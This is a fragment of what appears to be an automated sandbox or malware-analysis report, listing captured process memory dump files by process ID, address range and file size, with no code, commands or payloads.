memory/6804-583-0x00000000008E0000-0x00000000008E1000-memory.dmpFilesize
4KB
-
memory/6804-584-0x000000001ADB0000-0x000000001ADB2000-memory.dmpFilesize
8KB
-
memory/6804-579-0x00000000001B0000-0x00000000001B1000-memory.dmpFilesize
4KB
-
memory/6804-578-0x00007FFD6FFD0000-0x00007FFD709BC000-memory.dmpFilesize
9.9MB
-
memory/6860-815-0x000001E042BA0000-0x000001E042BA1000-memory.dmpFilesize
4KB
-
memory/6988-649-0x000000006F220000-0x000000006F90E000-memory.dmpFilesize
6.9MB
-
memory/6988-660-0x00000000056B0000-0x00000000056B1000-memory.dmpFilesize
4KB
-
memory/6996-585-0x00000000048D0000-0x00000000048D1000-memory.dmpFilesize
4KB
-
memory/7044-784-0x00000284909F0000-0x00000284909F1000-memory.dmpFilesize
4KB
-
memory/7096-816-0x00007FFD6FFD0000-0x00007FFD709BC000-memory.dmpFilesize
9.9MB
-
memory/7096-819-0x0000000000BA0000-0x0000000000BA1000-memory.dmpFilesize
4KB
-
memory/7096-823-0x0000000001A00000-0x0000000001A02000-memory.dmpFilesize
8KB
-
memory/7104-681-0x0000000004BE0000-0x0000000004BE1000-memory.dmpFilesize
4KB